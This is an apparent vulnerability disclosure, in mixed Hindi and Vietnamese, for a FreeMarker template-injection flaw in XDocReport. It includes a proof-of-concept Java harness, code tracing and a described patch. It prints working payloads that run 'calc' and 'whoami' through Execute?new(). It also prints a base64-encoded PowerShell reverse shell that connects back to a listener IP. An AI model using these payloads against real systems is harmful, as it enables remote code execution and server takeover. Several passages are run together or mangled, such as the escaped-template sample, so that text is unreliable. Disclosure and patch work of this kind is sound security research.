
CVE-2025-64087 (SSTI)
भेद्यता का अवलोकन
Server-Side Template Injection (SSTI) एक वेब सुरक्षा भेद्यता है जो हमलावरों को सामग्री प्रबंधन प्रणालियों (CMS) और वेब फ्रेमवर्क द्वारा उपयोग किए जाने वाले टेम्पलेट्स में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति देता है, ताकि दूरस्थ हमले किए जा सकें, संवेदनशील जानकारी प्राप्त की जा सके या सिस्टम में घुसपैठ की जा सके।
SSTI एक इंजेक्शन भेद्यता का एक प्रकार है (जैसे SQL Injection, XSS, आदि), जिसमें हैकर्स दूरस्थ रूप से दुर्भावनापूर्ण कोड तैनात करने के लिए टेम्पलेट सिस्टम के उपयोग का लाभ उठाते हैं। जब एक SSTI हमला सफलतापूर्वक किया जाता है, तो हैकर सर्वर-साइड पर अपना स्वयं का कोड निष्पादित कर सकता है, जिससे वे दूरस्थ हमले कर सकते हैं, जैसे संवेदनशील जानकारी एकत्र करना, सिस्टम में घुसपैठ करना, और अनधिकृत संसाधनों तक पहुंच बनाना।
SSTI भेद्यता अक्सर असुरक्षित टेम्पलेट सिस्टम के उपयोग के कारण होती है, या इनपुट मापदंडों को टेम्पलेट्स में डालने से पहले जांचने और संसाधित न करने के कारण होती है। यदि SSTI हमला सफलतापूर्वक किया जाता है, तो परिणाम गंभीर हो सकते हैं और हमलावर संगठन को बड़ा नुकसान हो सकता है।
व्यावसायिक प्रभाव
SSTI भेद्यता कई गंभीर परिणाम पैदा कर सकती है, जिनमें शामिल हैं:
दुर्भावनापूर्ण कोड निष्पादन: हमलावर इस भेद्यता का उपयोग सर्वर पर दुर्भावनापूर्ण कोड निष्पादित करने के लिए कर सकते हैं, जिससे डेटा चोरी, सिस्टम पर अवैध कार्य, और यहां तक कि सर्वर पर पूर्ण नियंत्रण संभव हो जाता है।
संवेदनशील जानकारी का खुलासा: SSTI हमलावर को सर्वर पर फ़ाइलों को पढ़ने, बदलने या हटाने की अनुमति दे सकता है। यदि इन फ़ाइलों में खाता नाम और पासवर्ड जैसी संवेदनशील जानकारी है, तो हमलावर आसानी से इस जानकारी का खुलासा कर सकता है।
उपयोगकर्ताओं को धमकी या धोखाधड़ी हमले: हमलावर SSTI का उपयोग करके वेबसाइट की सामग्री को बदलकर या नकली कस्टम बटन जोड़कर उपयोगकर्ताओं को धमकी या धोखाधड़ी के हमले कर सकता है। यदि उपयोगकर्ता इन बटनों पर क्लिक करते हैं, तो हमलावर उपयोगकर्ता की जानकारी चुरा सकता है या उनके कंप्यूटर पर मैलवेयर स्थापित कर सकता है।
A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).
मानव संसाधन प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन FreeMarker टेम्पलेट इंजन (फ़ाइल FreemarkerTemplateEngine.java में) का उपयोग करके ${"freemarker.template.utility.Execute"?new()("whoami")} सामग्री को रेंडर करता है, बिना इनपुट सामग्री की जांच या फ़िल्टर करने के किसी तंत्र के।
यह भेद्यता हमलावर को .docx फ़ाइल (टेम्पलेट) में दुर्भावनापूर्ण अभिव्यक्तियाँ डालने की अनुमति देती है, जिससे सर्वर पर रिमोट कोड निष्पादन (RCE) होता है, और इसका उपयोग जानकारी चुराने या सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है।
fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java không thực hiện kiểm tra nội dung của file xdoc đầu vào.Nội dung template được nạp thẳng và chuyển vào process(context, writer, template) để xử lý bởi engine FreeMarker mà không có cơ chế sandboxing hoặc hạn chế directive/biểu thức. Kết quả là attacker có thể cung cấp template chứa biểu thức/dòng lệnh FreeMarker độc hại, dẫn đến thực thi mã từ xa (RCE)..docx फ़ाइल अपलोड करता है:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. देखा गया कि सफलतापूर्वक निष्पादित किया जा सकता है और कैल्क एप्लिकेशन खोल सकता है

3. इसी प्रकार, सिस्टम पर चल रहे उपयोगकर्ता की जानकारी प्राप्त करने के लिए पेलोड के साथ:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx फ़ाइल सिस्टम डेटा लौटा रही है।


6. प्रभाव को RCE तक बढ़ाएँ
- सुनने वाली मशीन wsl है जिसका IP पता `172.26.208.130` है

- निम्नलिखित payload के साथ शोषण करें:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx फ़ाइल को xdocreport द्वारा प्रोसेस करने के लिए देंxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java में निम्नलिखित सामग्री जोड़ेंमेरे फिक्स में अभी भी ऑब्जेक्ट और प्रॉपर्टीज़ को सामान्य रूप से रेंडर करने की अनुमति है जैसे ${cuong.name} और केवल खतरनाक बिल्ट-इन फ़ंक्शन को रोका गया है
${'freemarker.template.utility.Execute'?new()('calc')} - ब्लॉक ALLOWS_NOTHING_RESOLVER द्वारा${'java.lang.Runtime'?api.getRuntime()} - ब्लॉक setAPIBuiltinEnabled(false) द्वारा?new() और ?api का उपयोग करने वाले अन्य सभी पेलोड ब्लॉक हो गएपथ: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
परिवर्तन:
✅ इम्पोर्ट जोड़ा: java.util.regex.Pattern
✅ विधि validateTemplateSecurity(Reader reader) जोड़ी गई — खतरनाक पैटर्न की जाँच करती है
✅ processNoCache() अपडेट किया गया — Template बनाने से पहले सत्यापन जोड़ा गया
✅ process(String templateName, …) अपडेट किया गया — इस विधि में सत्यापन जोड़ा गया
पथ: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
परिवर्तन:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, आदि।| फ़ाइल | परिवर्तन का प्रकार | उद्देश्य |
|---|---|---|
| FreemarkerTemplateEngine.java | संशोधित | SSTI सुरक्षा जोड़ी गई |
| FreemarkerTemplateEngineSecurityTestCase.java | नई फ़ाइल | सत्यापन तर्क का परीक्षण |
पैच 2.2.0 में सुरक्षा तंत्र सक्षम किया गया और SSTI को सफलतापूर्वक रोका गया
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- आवश्यक लाइब्रेरी```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A प्रारंभ बिंदु (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ स्रोत यह DOCX फ़ाइल है — यदि फ़ाइल उपयोगकर्ता द्वारा अपलोड/लिखी जाती है, तो अंदर का टेम्पलेट सामग्री (FreeMarker syntax) अविश्वसनीय डेटा है।```
InputStream input = new FileInputStream(docxTemplate);
→ फ़ाइल सामग्री पढ़ें ताकि XDocReport को अग्रेषित किया जा सके।```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) DOCX फ़ाइल को पार्स (parse) करेगा, DOCX में entry/template ढूंढेगा और एक IXDocReport बनाएगा (इसके अंदर FreeMarker का Template ऑब्जेक्ट आरंभ करेगा या टेम्पलेट के लिए रीडर रखेगा)।
- DOCX फ़ाइल में टेम्पलेट की सामग्री अब रिपोर्ट ऑब्जेक्ट में है (अभी तक निष्पादित नहीं हुई)।


zipInputStream.getNextEntry() ZIP (.docx) के अंदर प्रत्येक entry (प्रत्येक फ़ाइल) पर लूप करता है।
archive = new XDocArchive(...) — यदि अभी तक कोई archive नहीं है, तो दस्तावेज़ की entries को व्यवस्थित/पंजीकृत करने के लिए एक ऑब्जेक्ट आरंभ करता है।

संक्षेप में: यह भाग DOCX सामग्री को एक आंतरिक संरचना (XDocArchive) में अनज़िप करता है ताकि बाद में उप-फ़ाइलों (document.xml,...) तक पहुँचा जा सके।```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| चरण | क्रिया | उद्देश्य |
|---|---|---|
| 1 | DOCX फ़ाइल पढ़ें | मूल रिपोर्ट संरचना प्राप्त करें |
| 2 | IXDocReport बनाएं | टेम्पलेट का प्रतिनिधित्व करें |
| 3 | ID असाइन करें | अद्वितीय प्रबंधन |
| 4 | टेम्पलेट इंजन चुनें | अभिव्यक्ति प्रसंस्करण के लिए (Freemarker/Velocity) |
| 5 | यदि आवश्यक हो तो कैश करें | प्रदर्शन अनुकूलन |
| 6 | रिपोर्ट लौटाएं | परिणाम फ़ाइल प्रस्तुत करने के लिए उपयोग करें |
संक्षेप में, IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); पर कोई SSTI जाँच तंत्र नहीं है, बल्कि यह केवल docx में xml फ़ाइलों को लोड करता है और प्रसंस्करण के लिए तैयार IXDocReport report लौटाता है (जैसे रेंडर, डेटा मर्ज आदि)।
report.process(context, out); पर
इस फ़ंक्शन के अंदर गहराई में जाने पर, यह preprocess(...) को कॉल करता है जो प्रत्येक XML प्रविष्टि को पढ़ता है, फिर XML सामग्री को पार्स करता है और BufferedDocument बनाता है और Writer पर लिखता है (यह प्रारंभिक रूप से संसाधित XML संस्करण है)।
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

उसके बाद यह `processNoCache()` में प्रवेश करता है और `getReader()` को कॉल करता है


`getReader()` फ़ंक्शन का उपयोग संपूर्ण टेम्पलेट के चारों ओर एस्केप डायरेक्टिव रैपर जोड़ने के लिए किया जाता है, ताकि सामग्री सुरक्षित रूप से संसाधित हो (HTML एस्केप, इंजेक्शन से बचाव).

मूल टेम्पलेट:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
getReader() के प्रसंस्करण के बाद:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
यह Freemarker engine को अधिक सुरक्षित रूप से पढ़ने में मदद करता है:
- XML सुरक्षा: XML में विशेष वर्णों को एस्केप करें
- सुरक्षित प्रसंस्करण: Freemarker template को parse करते समय त्रुटियों से बचें
फिर `FMParser` को कॉल करके Freemarker सिंटैक्स का विश्लेषण करें

अंत में `process()` में जाकर `environment.process();` और reader डेटा को कॉल करें```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 यह सबसे महत्वपूर्ण कदम है — वास्तविक रेंडरिंग यहाँ होती है।
getTemplate() पार्स किए गए टेम्पलेट (AST) को लौटाता है।
getRootTreeNode() सिंटैक्स ट्री का मूल नोड है जो FMParser द्वारा पार्स करने पर बनाया जाता है।
visit() FreeMarker का मुख्य API है, जिसका उपयोग टेम्पलेट के प्रत्येक तत्व को ट्रैवर्स और रेंडर करने के लिए किया जाता है, और इसे freemarker.core.Environment में परिभाषित किया गया है।
TextBlock मिलने पर → टेक्स्ट को out में लिखें।
Interpolation मिलने पर (उदाहरण ${user.name}) → डेटामॉडल में देखें, मान लें, out में लिखें।
#if, #list, #include, मैक्रो मिलने पर → संबंधित लॉजिक को संसाधित करें।```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



यह entryName `word/document.xml` पर ट्रिगर होता है

इसके बाद फ़ंक्शन `accept()` में जाता है
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









कार्य `visit()` में निष्पादन प्रवाह इस प्रकार है```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **शोषण योग्य प्रमुख बिंदुओं का सारांश**
| चरण | वर्ग | भूमिका | SSTI संबंध |
| ----------------------- | ------------------- | -------------------- | ------------------------ |
| `loadReport()` | `XDocReportRegistry` | टेम्पलेट लोड करें | इनपुट नियंत्रण नहीं |
| `getReader()` | `TemplateEngine` | टेम्पलेट डेटा पढ़ें | पेलोड हो सकता है |
| `FMParser` | `freemarker.core` | सामग्री पार्स करें | `${}` चर विश्लेषित हैं |
| `Environment.process()` | `freemarker.core` | टेम्पलेट रेंडर करें | प्रति नोड `visit()` कॉल |
| `visit()` / `eval()` | `freemarker.core` | अभिव्यक्ति निष्पादित करें | **SSTI / RCE बिंदु** |
---
## दस्तावेज़
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link